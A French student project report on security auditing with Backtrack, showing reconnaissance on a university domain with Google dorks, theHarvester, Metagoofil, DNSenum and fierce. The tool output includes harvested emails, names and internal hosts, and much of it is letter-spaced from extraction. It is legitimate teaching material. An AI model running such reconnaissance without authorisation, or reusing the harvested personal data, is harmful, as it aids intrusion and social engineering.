44
Audit de s´ ecurit´ e avec Backtrack Projet M1 en Informatique Auteurs : Dumitrescu Andrei El Raousti Habib Encadrant : Rojat Antoine 24 mai 2012

Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

  • Upload
    buitram

  • View
    217

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec Backtrack

Projet M1 en Informatique

Auteurs :

Dumitrescu Andrei

El Raousti Habib

Encadrant :

Rojat Antoine

24 mai 2012

Page 2: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei
Page 3: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Sommaire

Audit de securite 1

Collecte d’informations 3OSINT (open source intelligence) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

Recolte des adresses e-mail et des noms d’utilisateurs . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3Extraction de meta-donnees des documents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

Techniques non-intrusives de reconnaissance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7Enumeration DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7Passive Fingerprinting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10Detection du framework Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Reconnaissance active . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13Balayage des ports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13Banner grabbing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16Detection de Web Application Firewall (WAF) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

Identification des vulnerabilites 19Proxy d’interception . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22XSS - Cross-site scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26Inclusion de fichiers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30Analyse des cookies de sessions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33Scanneur de vulnerabilites des applications Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

Liste des figures 39

References bibliographiques 40

Page 4: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Audit de securite

Dans le cadre de l’industrie de securite informatique, l’audit de securite represente un processus complexe, qui est faitdans les limites strictes d’un contrat entre l’entreprise qui souhaite auditer ses systemes d’informations et la compagniede testeurs. Il faut faire une distinction claire entre ≪penetration testing≫ (en francais : faire les tests d’intrustion)et un audit de securite, parce que ce dernier et plus complexe et contient la partie de tests d’intrusion dans sesetapes.

Selon [?] : ≪Un test d’intrusion est une methode d’evaluation de la securite d’un systeme de calcul ou d’un reseau ensimulant une attaque. [...] Le processus implique une analyse active de l’application pour toutes faiblesses, failles tech-niques ou vulnerabilites. Tous les problemes de securite trouves seront presentes au proprietaire du systeme, avec uneevaluation de leur impact et souvent avec une proposition de mesures d’attenuation ou une solution technique.≫ (tra-duit de l’anglais).

Un audit de securite peut se decomposer en plusieurs etapes :

1. Activites de pre-engagement et definitions des champs d’action

L’etape de debut d’un audit de securite consiste de preciser de maniere exacte ce qui doit etre teste et commenton peut executer ces tests. C’est-a-dire on determine les ressources ciblees de l’entreprise (quels reseaux, quellesapplications Web) et on specifie clairement les limites des tests et les actions qu’on a le droit d’executer, sansdepasser ce qui est specifie dans le contrat entre l’entreprise et la compagnie de securite. A cet stage on peutaussi faire l’estimation du temps de l’audit de securite, definir les modalites de paimenet et prevoir les actions asuivre dans les situations exceptionnelles.

2. Collecte d’informations

La partie de collecte d’informations est le processus de trouver d’autant d’informations que possible sur l’organi-sation cible, avec le but d’utiliser ces informations dans le etapes d’identification de vulnerabilites et exploitationdes failles. Souvent cette etape est faite du role d’un adversaire, depuis l’exterieur de l’entreprise, mais celle-cipeut aussi donne l’autorisation de tester les reseaux internes ou de conduire des interviews avec les employees.Dans cette etape on essaie de trouver d’informations sur l’entreprise et ses partenariats, sur les chefs et lesemployes lies a la securite, sur la presence Internet de ceux-ci, sur l’infrastructure de reseau utilisee, sur lesapplications Web, les services ou les logiciels utilises ou produits par la societe et ainsi de suite.

3. Modelisation des menaces

La creation d’un modele pour decrire les ressources de l’entreprise et les adversaires possibles est une etapetres importante pour savoir ce qui devrait etre protege et qui voudrait l’attaquer. Premierement l’objectif estde faire une analyse de l’entreprise d’un point de vue de ses actifs, et ensuite de determiner les personnes oules communautes interessees, meme au sein de l’entreprise, de faire une analyse de leurs motivations et de leurscapacites de faire une attaque.

4. Identification des vulnerabilites

Dans cette etape on fait des tests pour trouver les failles de securite des systemes de l’entreprise qui peuventetre exploitees par un adversaire. Il s’agit de simuler des attaques pour trouver les vulnerabilites et de voir dansquelles conditions elles peuvent etre exploitees. Souvent on utilise des outils qui automatisent le travail, maison fait aussi des tests manuellement : une vulnerabilite doit etre validee, donc il est conseille d’avoir plusieursconfirmations de notre decouverte. Pour la valider on peut aussi chercher sur les sites Web qui gerent des basesde donnees avec des vulnerabilites pour des versions specifiques des logiciels.

5. Exploitation des failles

L’exploitation des failles de securite peut se faire de maniere precise si les vulnerabilites ont ete bien determineesdans l’etape precedente. L’objectif est de depasser les restrictions et les contre-mesures mises en place pourmettre en evidence les points d’entree dans les systemes de l’entreprise. Ainsi on peut voir quelles sont les plusimportantes vulnerabilites et quelles sont les consequences de leur exploitation.

page 1 sur 41

Page 5: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

6. Maintien de l’acces

L’etape de maintien de l’acces se refere a les actions a faire apres la phase d’exploitation des failles. Le but est dedeterminer la valeur de la machine compromise et de mettre en place les moyens pour maintenir la communicationavec cette machine. On peut analyser les prejudices possibles qui peuvent se produire a partir de cette machineet de voir si cela donne acces a d’autres routes vers des cibles aussi interessantes.

7. Elaboration des rapports

A la fin du processus formel de l’audit de securite il faut elaborer des rapports qui seront utiles pour le client, enlui decrivant les objectifs, les methodes et les resultats de l’audit de securite. Pour chaque vulnerabilite trouveeil faut preciser les causes et les recommandations pour les ameliorer ; les failles de securite doivent aussi etreclassees selon leur niveau de risque.

Cette liste est inspire par : http://www.pentest-standard.org/, une oeuvre de collaboration de plusieurs profes-sionnels de la securite qui, malgre son nom, est une bonne ressource pour delimiter un audit de securite.

Nous allons nous concentrer sur les aspects techniques des etapes de la collecte d’informations et identification desvulnerabilites, en illustrant chaque concept avec des exemples d’outils qui Backtrack met a notre disposition.

page 2 sur 41

Page 6: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Collecte d’informations

La partie de collecte d’informations d’un audit de securite represente la reconnaissance faite avant de demarrer lesetapes d’identification de vulnerabilites et d’exploitation des failles sur la cible. Elle comporte les actions de selectionde la cible, d’effectuer une reconnaissance secrete ou par OSINT (open-source intelligence) et HUMINT (humanintelligence) sur la cible, et la prise d’empreintes des services et systemes lies a la cible.

Nous allons traiter les aspects techniques de ces etapes et faire la reconnaissance d’un point de vue externe del’organisation, pour avoir une idee sur comment un adversaire peut la voit. On va voir comment on peut utiliserBacktrack pour trouver d’informations par les sources ouvertes de renseignement (OSINT), par les services ouvertes(comme DNS) ou en interagissant directement avec la cible, dans le cadre d’une reconnaissance active. Ainsi on auraun grand nombre d’informations sur la sur la compagnie et ses employes, sur son presence Internet, sur les services,les logiciels, les applications Web utilisees et les reseaux informatiques avec les machines qui sont attaches a cesreseaux.

OSINT (open source intelligence)

OSINT (en francais le renseignement de sources ouvertes) est une premiere etape dans la partie de collecte d’infor-mations sur la cible de l’audit de securite, qui consiste a utiliser des informations accessibles au public pour creer unprofile de l’organisation cible et pour pouvoir decouvrir les premiers points d’entree dans le systeme.

La structure organisationnelle, les personnes employees ou liees a l’organisation et leurs roles, leurs numeros detelephone, leurs adresses physiques et e-mail, leur presence en ligne sur les reseaux sociaux et les forums, toutesces informations peuvent etre utilisees pour construire une attaque, par exemple au debut des attaques qui utilisent unartifice de l’ingenierie sociale. Pour collecter les informations on peut utiliser des moteurs de recherche comme Google(une technique appelee ≪Google hacking≫), des services Linux comme whois, dig ou des outils qui automatisent cesactions et en ajoutent d’autres, comme celles de la distribution Linux Backtrack 5 R2. Dans ce qui suit, on va presenterquelques outils de Backtrack qui peuvent nous aider dans le processus de trouver et extraire des informations sur unecible de sources disponibles publiquement.

La plupart des outils qu’on va voir dans cette section utilisent ce qu’on appelle le ≪Google hacking≫. Comme decritdans [ALL08], le moteur de recherche Google permet de faire bien plus que de la simple recherche de mot, de recupererfurtivement des informations sur une cible et cela de maniere quasi transparente.

Dans la pratique, Google hacking consiste a entrer des requetes speciales dans le moteur de recherche, parmi les-quelles :

– site:uvsq.fr - permet faire la recherche seulement sur les pages d’un site passe en argument.– cache:uvsq.fr - cherche le site ≪uvsq.fr≫ dans le cache de Google ; cette option est surtout utilisee pour visiterdiscretement un site.

– intitle:uvsq - permet de chercher le texte ≪uvsq≫ qui se trouve entre les balises <title></title> d’une page HTML.– inurl:admin - permet de chercher un site internet dont l’URL contient le mot ≪admin≫.– filetype:pdf ou ext:pdf - retourne les pages contenant un lien vers un fichier du type mentionne en argument.

Les chaınes des caracteres comme inurl:search.php, qui permet de rassembler vite avec Google beaucoup des sites quiutilisent une meme fonctionnalite, comme un formulaire de recherche, sont souvent appelees ≪Google dorks≫, et leprocessus de trouver et utiliser ces resultats s’appelle ≪Google dorking≫.

Recolte des adresses e-mail et des noms d’utilisateurs

Dans l’etape de decouverte de la presence d’une organisation sur Internet, faire la recolte des adresses e-mails estsouvent tres important, parce que un adversaire peut les utiliser pour faire des attaques brute-force ou pour envoyerdes messages spam personnalises pour le possesseur de l’adresse, qui contiennent du code malveillant pour exploiterles vulnerabilites sur son systeme. En plus, trouver les noms d’utilisateur sur les reseaux sociaux en ligne des employesd’une entreprise peut donner beaucoup de details sur leurs interets, leur poste de travail, leur localisation et peutconduire a une attaque par l’ingenierie sociale.

COLLECTE D’INFORMATIONS page 3 sur 41

Page 7: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

TheHarvester

TheHarvester est un outil specialise pour automatiser les techniques de Google hacking et il etend le concept pourd’autres moteurs de recherche comme Bing et Exalead. Il utilise les APIs ou les parametres GET pour interroger lesserveurs de cles publiques PGP, la base de donnees SHODAN, les reseaux sociaux comme LinkedIn ou les profilesGoogle. En executant l’outil TheHarvester sur le nom de domaine ≪prism.uvsq.fr≫ on obtient :

r o o t@ b t : / p e n t e s t / e nume r a t i o n / t h e h a r v e s t e r# ./ theHarvester . py −d prism . uvsq . f r −b goog le −h −v

∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗ Th eHa r v e s t e r Ver . 2 . 1 ( r e b o r n ) ∗∗Coded by C h r i s t i a n M a r t o r e l l a ∗∗Edge−S e c u r i t y R e s e a r c h ∗∗ cm a r t o r e l l a @ e d g e − s e c u r i t y . com ∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗

[− ] S e a r c h i n g i n Goog l e :S e a r c h i n g 0 r e s u l t s . . .S e a r c h i n g 100 r e s u l t s . . .

[+] Ema i l s f o u nd :−−−−−−−−−−−−−−−−−−[ . . . ]s t e p h a n e . l o p e s @ p r i sm . u v s q . f rd evan . s o h i e r @ p r i s m . u v s q . f rs a n a . youn e s@p r i sm . u v s q . f rr o u c a i r o g @ p r i s m . u v s q . f r

[+] Ho s t s f o u nd i n s e a r c h e n g i n e s :−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−1 9 3 . 5 1 . 2 5 . 1 9 7 :www . p r i sm . u v s q . f r1 9 3 . 5 1 . 2 5 . 1 8 8 : c a s s i o p e e . p r i sm . u v s q . f r1 9 3 . 5 1 . 2 5 . 9 : t o r q u e n a d a . p r i sm . u v s q . f r[ . . . ]

[+] Propo s ed SET−−−−−−−−−−−−−−−[ ][+] V i r t u a l h o s t s :==================193 . 5 1 . 2 5 . 1 9 7 :www . p r i sm . u v s q . f r1 9 3 . 5 1 . 2 5 . 1 9 7 : mas te r− i r s . p r i sm . u v s q . f r1 9 3 . 5 1 . 2 5 . 1 9 7 :www . mas te r− s e c r e t s . u v s q . f r[ . . . ]1 9 3 . 5 1 . 2 5 . 1 7 3 : bobpp . p r i sm . u v s q . f r1 9 3 . 5 1 . 2 5 . 1 :www . 1 and1 . f r[+] Shodan Da t a b a s e s e a r c h :

S e a r c h i n g for : 1 9 3 . 5 1 . 2 5 . 1 9 7 :www . p r i sm . u v s q . f rS e a r c h i n g for : 1 9 3 . 5 1 . 2 5 . 1 8 8 : c a s s i o p e e . p r i sm . u v s q . f r

[ . . . ]S e a r c h i n g for : 1 9 3 . 5 1 . 2 5 . 1 7 3 : bobpp . p r i sm . u v s q . f rS e a r c h i n g for : 1 9 3 . 5 1 . 2 5 . 1 :www . 1 and1 . f r

[+] Shodan r e s u l t s :===================

On a deja une liste avec les adresses e-mails, mais en plus theHarvester nous montre aussi les noms d’hotes trouvesdans les resultats Google, et en lui donnant l’option -v il fait une resolution DNS et il essaie de trouver les hotesvirtuels sur la meme adresse IP. Avec l’option -h on interroge la base de donnees SHODAN.

En executant l’outil avec l’option de chercher dans les serveurs de cle PGP, on obtient :

r o o t@ b t : / p e n t e s t / e nume r a t i o n / t h e h a r v e s t e r# ./ theHarvester . py −d prism . uvsq . f r −b pgp

[ . . . ][− ] S e a r c h i n g i n PGP key s e r v e r . .

[+] Ema i l s f o u nd :−−−−−−−−−−−−−−−−−−a n t o i n e . r o j a t @ p r i s m . u v s q . f rhpc@p r i sm . u v s q . f rd n t t@ p r i sm . u v s q . f r

COLLECTE D’INFORMATIONS page 4 sur 41

Page 8: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

On peut specifier le nom d’une entreprise et voir quels sont les profiles LinkedIn qui lui sont associes :

r o o t@ b t : / p e n t e s t / e nume r a t i o n / t h e h a r v e s t e r# ./ theHarvester . py −d BlueMatrix −b l inked in

[ . . . ][− ] S e a r c h i n g i n L i n k e d i n . .U s e r s f r om L i n k e d i n :====================Tammy Huang − Ch inaYogesh P a i t h a n k a rSamantha Do l an − Un i t e d KingdomSt eph en Mcn a l l y − G r e a t e r New York C i t y Area[ . . . ]

Extraction de meta-donnees des documents

On peut faire une recherche avec Google pour localiser differentes ressources d’une compagnie sur le Web telles que desdocuments PDF, Word etc. On pourra les exploiter directement ou en extraire des meta-donnees qui peuvent fournirdes informations telles que l’auteur/createur, le logiciel utilise et sa version, la date et l’heure de creation, les normesutilisees, la localisation dans un reseau informatique (imprimante/dossier/repertoire chemin), geo-tagging etc. Pourune image il peuvent meme nous donner les coordonnees et les informations de localisation.

Une extraction des meta-donnees est possible en utilisant des outils adaptes presents sur Backtrack comme Metagoo-fil.

Metagoofil

C’est un outil concu pour extraire les meta-donnees de fichiers d’extensions .doc, .xls, .ppt, .pdf etc.

La puissance de cet outil est qu’il fait une recherche des documents publics en ligne grace a Google. Il montre lesresultats sous forme d’un rapport sur les informations qu’ils contiennent.

Ces informations comme des noms de personnes, des dates de creations, des versions de logiciels qui sont facilementaccessible, peuvent donner des indications sur le personnel de l’entreprise ce qui pourraient tres bien servir a unattaquant potentiel.

Ci-dessous on execute l’outil metagoofil sur le nom de domaine ”uvsq.fr” (option -d), en lui demandant d’explorerles documents avec l’extension ”.doc” et .”pdf” (option -t), en limitant la recherche a 20 documents (option -l), qu’iltelechargera par la suite (option -n). Les documents telecharges seront stockes dans le repertoire ”resultats scan”(option -o) sous forme d’une page html ”resultats.html” (option -f).

COLLECTE D’INFORMATIONS page 5 sur 41

Page 9: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : / p e n t e s t / e nume r a t i o n / g o o g l e / me t a g o o f i l# ./ metagoof i l . py −d uvsq . f r −t doc , pdf − l 20 −n 20 −o /root /Desktop/ r e su l t a t s s c an −f / root /Desktop/ r e s u l t a t s . html

∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗ Me t a g o o f i l Ver 2 . 1 − ∗∗ C h r i s t i a n M a r t o r e l l a ∗∗ Edge−S e c u r i t y . com ∗∗ c m a r t o r e l l a a t e d g e − s e c u r i t y . com ∗∗ B l a c k h a t A r s e n a l E d i t i o n ∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗

[− ] S t a r t i n g o n l i n e s e a r c h . . .

[− ] S e a r c h i n g for doc f i l e s , w i t h a l i m i t o f 20S e a r c h i n g 100 r e s u l t s . . .

R e s u l t s : 101 f i l e s f o u ndS t a r t i n g t o down l oad 20 o f them :−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−

[ 1 / 2 0 ] / s u p p o r t / web s ea r ch / b i n / a n swe r . py ? a n swe r=186645&amp ; f o rm=bb&amp ; h l=enE r r o r d own l o a d i n g / s u p p o r t / web s ea r ch / b i n / a n swe r . py ? a n swe r=186645&amp ; f o rm=bb&amp ; h l=en[ 2 / 2 0 ] h t t p : / /www . p h y s i q u e . u v s q . f r / s t a t u t s . doc

[ . . . ]

[− ] S e a r c h i n g for pd f f i l e s , w i t h a l i m i t o f 20S e a r c h i n g 100 r e s u l t s . . .

R e s u l t s : 103 f i l e s f o u ndS t a r t i n g t o down l oad 20 o f them :−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−

[ 1 / 2 0 ] / s u p p o r t / web s ea r ch / b i n / a n swe r . py ? a n swe r=186645&amp ; f o rm=bb&amp ; h l=enE r r o r d own l o a d i n g / s u p p o r t / web s ea r ch / b i n / a n swe r . py ? a n swe r=186645&amp ; f o rm=bb&amp ; h l=en[ 2 / 2 0 ] h t t p : / /www . qua l u b . u v s q . f r /PDF/ c i r c u l a i r e a p p r e n t i s s a g e . pd f

[ . . . ]

[+] L i s t o f u s e r s f o u nd :−−−−−−−−−−−−−−−−−−−−−−−−−−dahooS t e p h a n i ei u t r a m b o u i l l e tI u l i a n Sandu Popa , Ka r i n e Z e i t o u n i , V i n c e n t Or i a , Domin i que Barth , S a n d r i n e V i a l

[ . . . ]

[+] L i s t o f s o f t w a r e f o und :−−−−−−−−−−−−−−−−−−−−−−−−−−−−−M i c r o s o f t O f f i c e WordM i c r o s o f t E x c e lPDFCREATOR V e r s i o n 0 . 8 . 0

[ . . . ]

[+] L i s t o f p a t h s and s e r v e r s f o u nd :−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−Norma l’C :\Mes document s \GdR\ D o c um e n t S c i e n t i f i q u e \Do cS c i e n t\PRESENTATION Abregee . doc ’’C :\Mes Documents\GdR\PRESENTATION Abregee . doc ’’C :\WINDOWS\TEMP\ E n r e g i s t r e m e n t automat iquedePRESENTATION Abregee . asd ’

[ . . . ]

[+] L i s t o f e−m a i l s f o u nd :−−−−−−−−−−−−−−−−−−−−−−−−−−−−y a s s e r . a l a y l i @ u v s q . f rs f a y a d @ h o tma i l . f rj u l i e n . b a r j o n@ c n r s−b e l l e v u e . f r

[ . . . ]

COLLECTE D’INFORMATIONS page 6 sur 41

Page 10: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Techniques non-intrusives de reconnaissance

Il existe plusieurs methodes pour trouver des informations en plus d’OSINT sans etre detecte et sans interagir directe-ment avec la cible. D’abord on peut interroger des services ouverts comme DNS, SMTP, SNMP, on peut faire l’analyseVPN (Virtual Private Network), on peut intercepter le trafic general entre notre machine et la cible et faire une analysede paquets pour deduire les services et les systemes d’exploitation avec leurs versions (passive fingerprinting) ou suivrela route des paquets pour decouvrir les proxy, les serveurs d’equilibrage de charge (load-balancing) ou les systemes dedetection et de prevention d’intrusion mis en place.

Enumeration DNS

Cette etape est composee de plusieurs techniques qui, selon [AY09], permettent de collecter les informations suivantes :les noms des serveurs, les noms de domaines sous-domaines utilises pour les adresses mails et le Web, meme lacartographie d’un reseau.

On peut aussi trouver la localisation de ces serveurs, les adresses IP et les blocs d’adresses utilises, des informationssur le proprietaire d’un nom de domaine (adresse mail, numero de telephone, etc.) et sur les serveurs de noms associesau domaine.

Il existe plusieurs commandes comme whois permettant d’interroger les registres fournissant publiquement des in-formations concernant les noms de domaine et adresses IP, mais aussi des outils performants presents sur Backtrackcomme Maltego, DNSenum et fierce qui permettent cela d’une maniere simple et rapide.

DNSenum

C’est un outil developpe en PERL permettant la recuperation d’informations relatives aux noms de domaine.

Un balayage DNSenum comme le montre l’exemple suivant, nous donne les informations concernant les noms dedomaine, les sous-domaines, les serveurs mail et les blocs IP affectes en utilisant :

– Le transfert de zone (actuellement il est en general desactive) permettant a un serveur secondaire (qui a besoind’etre autorise a effectuer cette operation) d’interroger le serveur primaire et de recuperer le contenu de sa base dedonnees, mais assez souvent aucune autre restriction n’est pas presente. Ceci permet l’affichage du contenu d’unezone.

– Les resultats du moteur Google (le ≪scarping≫) ; souvent Google peut detecter et ne pas autoriser la rechercheautomatisee et c’est pour cela qu’on remarque que DNSenum n’a pas pu recuperer des resultats en utilisant cettetechnique.

– Une recherche par force brute pour trouver les noms de sous-domaines, a l’aide du fichier ”dns.txt” contenant desmots cles qu’on pourra enrichir manuellement ou automatiquement.

COLLECTE D’INFORMATIONS page 7 sur 41

Page 11: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : / p e n t e s t / e nume r a t i o n / dns / dnsenum# ./dnsenum . p l −−enum −f dns . t x t −r uvsq . f rdnsenum . p l VERSION : 1 . 2 . 2Warn ing : can ’ t l o a d Net : : Whois : : IP modu le , who i s q u e r i e s d i s a b l e d .

−−−−− u v s q . f r −−−−−

Host ’ s a d d r e s s e s :

u v s q . f r 86400 IN A 1 9 3 . 5 1 . 2 7 . 3

Name S e r v e r s :

l u n e . u v s q . f r 86400 IN A 193 . 51 . 33 . 28s o l e i l . u v s q . f r 86400 IN A 1 9 3 . 5 1 . 2 4 . 1r e s o n e . un i v−r e n n e s 1 . f r 86400 IN A 129 . 20 . 254 . 1s h i v a . j u s s i e u . f r 172799 IN A 134 . 157 . 0 . 129

Ma i l (MX) S e r v e r s :

s o l e i l . u v s q . f r 86400 IN A 1 9 3 . 5 1 . 2 4 . 1t i t a n . u v s q . f r 86400 IN A 193 . 51 . 33 . 15

T r y i n g Zone T r a n s f e r s and g e t t i n g B ind V e r s i o n s :

T r y i n g Zone T r a n s f e r for u v s q . f r on r e s o n e . un i v−r e n n e s 1 . f r . . .AXFR r e c o r d q u e r y f a i l e d : NOERROR

r e s o n e . un i v−r e n n e s 1 . f r B i nd V e r s i o n :

T r y i n g Zone T r a n s f e r for u v s q . f r on l u n e . u v s q . f r . . .AXFR r e c o r d q u e r y f a i l e d : NOERROR

l u n e . u v s q . f r B i nd V e r s i o n : Bind

T r y i n g Zone T r a n s f e r for u v s q . f r on s h i v a . j u s s i e u . f r . . .AXFR r e c o r d q u e r y f a i l e d : REFUSEDUnab l e t o o b t a i n S e r v e r V e r s i o n for s h i v a . j u s s i e u . f r : REFUSED

T r y i n g Zone T r a n s f e r for u v s q . f r on s o l e i l . u v s q . f r . . .AXFR r e c o r d q u e r y f a i l e d : NOERROR

s o l e i l . u v s q . f r B i nd V e r s i o n : Bind

S c r a p i n g u v s q . f r s u bdoma i n s f r om Goog l e :

−−−− Goog l e s e a r c h page : 1 −−−−

−−−− Goog l e s e a r c h page : 2 −−−−

−−−− Goog l e s e a r c h page : 3 −−−−

[ . . . ]

Bru t e f o r c i n g w i t h dns . t x t :

apps . u v s q . f r 86400 IN A 1 9 3 . 5 1 . 3 3 . 9f t p . u v s q . f r 86101 IN CNAMEnova . u v s q . f r 86237 IN A 1 9 3 . 5 1 . 2 4 . 2

[ . . . ]

u v s q . f r i p b l o c k s :

1 93 . 51 . 24 . 1/32193 . 51 . 24 . 2/31193 . 51 . 24 . 5/32

[ . . . ]

COLLECTE D’INFORMATIONS page 8 sur 41

Page 12: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

fierce

C’est un outil de reconnaissance et de recuperation d’informations d’un nom de domaine. Cet outil scanne les differentesinformations recuperables, et ceci par le biais de plusiers techniques :

r o o t@ b t : / p e n t e s t / e nume r a t i o n / dns / f i e r c e# ./ f i e r c e . p l −dns uvsq . f r −word l i s t hosts . t x tDNS S e r v e r s for u v s q . f r :

l u n e . u v s q . f rs o l e i l . u v s q . f rr e s o n e . un i v−r e n n e s 1 . f rs h i v a . j u s s i e u . f r

T r y i n g zone t r a n s f e r f i r s t . . .Te s t i n g l u n e . u v s q . f r

R equ e s t t imed ou t o r t r a n s f e r n o t a l l o w e d .Te s t i n g s o l e i l . u v s q . f r

R equ e s t t imed ou t o r t r a n s f e r n o t a l l o w e d .Te s t i n g r e s o n e . un i v−r e n n e s 1 . f r

R equ e s t t imed ou t o r t r a n s f e r n o t a l l o w e d .Te s t i n g s h i v a . j u s s i e u . f r

R equ e s t t imed ou t o r t r a n s f e r n o t a l l o w e d .

U n s u c c e s s f u l i n zone t r a n s f e r ( i t was wo r th a s h o t )Okay , t r y i n g t h e good o l d f a s h i o n e d way . . . b r u t e f o r c e

Ch eck i n g for w i l d c a r d DNS . . .Nope . Good .Now p e r f o r m i n g 1895 test ( s ) . . .1 9 3 . 5 1 . 3 3 . 4 o a s . u v s q . f r1 9 3 . 5 1 . 3 3 . 1 babaorum . u v s q . f r

[ . . . ]

1 92 . 168 . 61 . 11 pc55−d s i −29a . s i e g e . u v s q . f r192 . 168 . 61 . 12 mandore . c s i . u v s q . f r

[ . . . ]

1 9 3 . 5 1 . 2 4 . 1 s o l e i l . u v s q . f r1 9 3 . 5 1 . 2 4 . 2 nova . u v s q . f r

[ . . . ]

1 9 3 . 5 1 . 2 7 . 1 d i a p a s o n . s i e g e . u v s q . f r1 9 3 . 5 1 . 2 7 . 2 metronome . s i e g e . u v s q . f r

[ . . . ]

Subn e t s f o u nd (may want t o p r o b e h e r e u s i n g nmap o r u n i c o r n s c a n ) :127.0.0.0 −255 : 1 ho s t n ame s f o und .192.168.61.0 −255 : 42 ho s t n ame s f o und .193.51.24.0 −255 : 104 ho s t n ame s f o und .193.51.27.0 −255 : 254 ho s t n ame s f o und .193.51.33.0 −255 : 66 ho s t n ame s f o und .

Done w i t h F i e r c e s c a n : h t t p : / / ha . c k e r s . o r g / f i e r c e /Found 467 e n t r i e s .

Have a nice day .

On remarque qu’un balayage fierce est plus interessant (avec les options utilises), en effet il a tout d’abord verifiel’utilisation du wildcard DNS ce qui nous donne une idee sur l’importance des faux resultats (dans l’exemple uvsq.frn’utilise pas de wildcard DNS).

Les noms de sou-domaine et les adresses IP associees ont ete trouve par le biais d’un ”brute force” utilisant le fichierinterne ”hosts.txt”, ensuite fierce en trouvant un sous-domaine et l’adresse IP qui lui est associee va faire une resolutionDNS inverse pour un champs d’adresses IP contigus a cette adresse (par defaut 5 au dessus et 5 en dessous de cetteadresse initiale), pour trouver d’autre sous-domaine possibles. S’il trouve un autre nom de sous-domaine, il fera unenouvelle resolution DNS inverse, donc fierce procede de facon recursive pour trouver un plus grand nombre de nomsde sous-domaines.

